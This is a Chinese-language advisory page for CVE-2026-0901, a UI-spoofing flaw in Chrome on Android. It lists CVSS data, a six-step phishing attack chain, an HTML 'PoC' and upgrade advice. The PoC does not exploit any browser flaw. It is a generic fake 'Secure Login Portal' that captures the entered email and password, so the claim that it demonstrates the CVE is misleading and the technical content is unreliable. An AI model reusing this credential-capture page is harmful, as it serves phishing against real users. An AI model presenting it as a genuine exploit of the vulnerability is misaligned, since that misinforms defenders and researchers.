CVE-2026-0901 Google Chrome Android UI欺骗漏洞

漏洞信息

漏洞编号

CVE-2026-0901

漏洞类型

UI欺骗

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome on Android

漏洞概述

CVE-2026-0901是Google Chrome浏览器在Android平台上存在的一个UI欺骗（UI Spoofing）漏洞。该漏洞由于Blink渲染引擎的实现不当导致，允许远程攻击者通过精心构造的恶意HTML页面欺骗用户界面，从而可能诱导用户执行危险操作或泄露敏感信息。漏洞影响Google Chrome on Android在144.0.7559.59之前的版本。攻击者可以利用此漏洞创建一个看似合法但实际为恶意的网页界面，欺骗用户输入凭据、点击恶意按钮或执行其他敏感操作。该漏洞的CVSS评分为5.4，属于中等严重程度，需要用户交互才能成功利用。Google已将此漏洞的Chromium安全严重性评级为"High"，并已在后续版本中修复。建议所有使用受影响版本Chrome Android的用户尽快升级到最新版本以获得安全保护。

技术细节

该漏洞存在于Google Chrome的Blink渲染引擎中，具体是Android平台上的UI欺骗问题。Blink引擎在处理HTML页面渲染时，未能正确验证和限制某些UI元素的显示方式，导致攻击者可以创建一个精心构造的HTML页面，该页面能够伪装成可信的界面（如银行网站、登录页面或其他敏感应用界面）。攻击者通过诱导用户访问恶意网页，利用Blink引擎的实现缺陷，在页面上显示欺骗性的UI元素，如虚假的表单、按钮或通知。由于该漏洞针对Android平台，攻击场景可能包括：伪造的登录界面窃取用户凭据、虚假的支付界面诱导转账、伪装的通知骗取敏感信息等。攻击成功的关键在于用户需要与恶意页面进行交互（点击、输入等），因此该漏洞被标记为需要用户交互（UI:R）。攻击向量为网络（AV:N），意味着攻击者可以通过互联网远程实施攻击，无需对目标设备进行本地访问。

攻击链分析

STEP 1

步骤1: 侦察与准备

攻击者识别目标用户群体，收集目标可能信任的品牌或服务信息，准备用于UI欺骗的钓鱼页面内容。

STEP 2

步骤2: 构造恶意页面

攻击者创建一个精心构造的HTML页面，利用Blink引擎在Android平台上的UI欺骗漏洞，伪装成可信的登录界面或敏感应用界面。

STEP 3

步骤3: 分发攻击载荷

攻击者通过钓鱼邮件、恶意链接、社交工程等方式诱导目标用户访问恶意HTML页面。用户需要使用受影响版本的Google Chrome on Android访问该页面。

STEP 4

步骤4: 用户交互触发

用户打开恶意页面后，Blink引擎渲染欺骗性UI界面。用户被诱导输入凭据、点击按钮或执行其他敏感操作。

STEP 5

步骤5: 敏感信息窃取

恶意页面捕获用户输入的敏感信息（如用户名、密码、信用卡号等），并将这些数据传输到攻击者控制的服务器。

STEP 6

步骤6: 后续攻击利用

攻击者利用窃取的凭据进行账户劫持、身份盗窃、金融欺诈等后续恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-0901 PoC: UI Spoofing in Google Chrome on Android -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>UI Spoofing PoC - CVE-2026-0901</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .spoofed-interface {
            background: white;
            border-radius: 20px;
            padding: 40px;
            max-width: 400px;
            width: 100%;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
        }
        .header {
            background: #4285f4;
            color: white;
            padding: 15px 20px;
            margin: -40px -40px 20px -40px;
            border-radius: 20px 20px 0 0;
            font-weight: bold;
            font-size: 18px;
        }
        .input-group {
            margin-bottom: 20px;
        }
        .input-group label {
            display: block;
            margin-bottom: 8px;
            color: #333;
            font-weight: 500;
        }
        .input-group input {
            width: 100%;
            padding: 12px;
            border: 2px solid #e0e0e0;
            border-radius: 10px;
            font-size: 16px;
            transition: border-color 0.3s;
        }
        .input-group input:focus {
            outline: none;
            border-color: #4285f4;
        }
        .submit-btn {
            width: 100%;
            padding: 15px;
            background: #4285f4;
            color: white;
            border: none;
            border-radius: 10px;
            font-size: 18px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        .submit-btn:hover {
            background: #3367d6;
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            color: #856404;
            padding: 15px;
            border-radius: 10px;
            margin-top: 20px;
            font-size: 14px;
        }
        .hidden-malicious {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            justify-content: center;
            align-items: center;
            z-index: 9999;
        }
        .malicious-content {
            background: white;
            padding: 30px;
            border-radius: 15px;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="spoofed-interface">
        <div class="header">🔐 Secure Login Portal</div>
        <h2 style="margin-bottom: 20px; color: #333;">Welcome Back</h2>
        <form id="loginForm">
            <div class="input-group">
                <label for="email">Email Address</label>
                <input type="email" id="email" name="email" placeholder="Enter your email" required>
            </div>
            <div class="input-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" placeholder="Enter your password" required>
            </div>
            <button type="submit" class="submit-btn">Sign In</button>
        </form>
        <div class="warning">
            ⚠️ This is a demonstration of UI Spoofing vulnerability (CVE-2026-0901). In a real attack, this interface could be used to steal credentials.
        </div>
    </div>

    <div class="hidden-malicious" id="maliciousOverlay">
        <div class="malicious-content">
            <h3>⚠️ Credentials Captured!</h3>
            <p id="capturedData"></p>
        </div>
    </div>

    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const email = document.getElementById('email').value;
            const password = document.getElementById('password').value;
            
            // Display captured credentials (in real attack, these would be exfiltrated)
            document.getElementById('capturedData').innerHTML = 
                'Email: ' + email + '<br>Password: ' + password;
            document.getElementById('maliciousOverlay').style.display = 'flex';
            
            console.log('CVE-2026-0901 PoC - UI Spoofing demonstration');
            console.log('Captured credentials:', { email: email, password: password });
        });
    </script>
</body>
</html>

影响范围

Google Chrome on Android < 144.0.7559.59

防御指南

临时缓解措施

立即升级Google Chrome for Android到最新版本（144.0.7559.59或更高），可通过Google Play商店更新。同时启用Chrome的安全浏览功能，避免访问可疑链接，保持操作系统和浏览器更新。在浏览网页时保持警惕，仔细检查URL地址，启用双因素认证保护账户安全。